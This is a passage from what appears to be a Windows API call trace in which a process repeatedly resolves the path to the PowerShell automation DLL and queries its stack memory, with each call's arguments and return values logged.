lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.870] GetLastError () returned 0x0 [0096.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.870] GetLastError () returned 0x0 [0096.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.870] GetLastError () returned 0x0 [0096.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.870] GetLastError () returned 0x0 [0096.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.870] GetLastError () returned 0x0 [0096.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.870] GetLastError () returned 0x0 [0096.871] VirtualQuery (in: lpAddress=0x27d574, lpBuffer=0x27e574, dwLength=0x1c | out: lpBuffer=0x27e574*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df68, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.871] GetLastError () returned 0x0 [0096.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.871] GetLastError () returned 0x0 [0096.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.871] GetLastError () returned 0x0 [0096.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.871] GetLastError () returned 0x0 [0096.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.871] GetLastError () returned 0x0 [0096.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.871] GetLastError () returned 0x0 [0096.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.872] GetLastError () returned 0x0 [0096.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.872] GetLastError () returned 0x0 [0096.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.872] GetLastError () returned 0x0 [0096.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.872] GetLastError () returned 0x0 [0096.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.872] GetLastError () returned 0x0 [0096.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.872] GetLastError () returned 0x0 [0096.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.872] GetLastError () returned 0x0 [0096.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.872] GetLastError () returned 0x0 [0096.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.872] GetLastError () returned 0x0 [0096.873] VirtualQuery (in: lpAddress=0x27d574, lpBuffer=0x27e574, dwLength=0x1c | out: lpBuffer=0x27e574*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.873] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df68, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.873] GetLastError () returned 0x0 [0096.873] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.873] GetLastError () returned 0x0 [0096.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.874] GetLastError () returned 0x0 [0096.874] VirtualQuery (in: lpAddress=0x27d574, lpBuffer=0x27e574, dwLength=0x1c | out: lpBuffer=0x27e574*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.874] GetLastError () returned 0x0 [0096.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.874] GetLastError () returned 0x0 [0096.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.875] GetLastError () returned 0x0 [0096.875] VirtualQuery (in: lpAddress=0x27d1a4, lpBuffer=0x27e1a4, dwLength=0x1c | out: lpBuffer=0x27e1a4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.875] VirtualQuery (in: lpAddress=0x27d1e0, lpBuffer=0x27e1e0, dwLength=0x1c | out: lpBuffer=0x27e1e0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.875] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.875] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.876] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.876] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.876] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.876] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.876] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.877] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.877] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.877] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.877] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.878] VirtualQuery (in: lpAddress=0x27d34c, lpBuffer=0x27e34c, dwLength=0x1c | out: lpBuffer=0x27e34c*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.878] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.878] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.878] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.878] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.879] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x73c0320e, Data2=0x17c9, Data3=0x47bd, Data4=([0]=0x88, [1]=0xc8, [2]=0xaa, [3]=0xc, [4]=0x10, [5]=0xe0, [6]=0x2a, [7]=0x58))) returned 0x0 [0096.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.879] GetLastError () returned 0x0 [0096.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.879] GetLastError () returned 0x0 [0096.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.879] GetLastError () returned 0x0 [0096.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.879] GetLastError () returned 0x0 [0096.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.879] GetLastError () returned 0x0 [0096.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.879] GetLastError () returned 0x0 [0096.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.879] GetLastError () returned 0x0 [0096.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.880] GetLastError () returned 0x0 [0096.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.880] GetLastError () returned 0x0 [0096.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.880] GetLastError () returned 0x0 [0096.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.880] GetLastError () returned 0x0 [0096.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.880] GetLastError () returned 0x0 [0096.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.880] GetLastError () returned 0x0 [0096.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.880] GetLastError () returned 0x0 [0096.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.880] GetLastError () returned 0x0 [0096.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.880] GetLastError () returned 0x0 [0096.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.880] GetLastError () returned 0x0 [0096.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.881] GetLastError () returned 0x0 [0096.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.881] GetLastError () returned 0x0 [0096.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.881] GetLastError () returned 0x0 [0096.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.881] GetLastError () returned 0x0 [0096.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.881] GetLastError () returned 0x0 [0096.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", 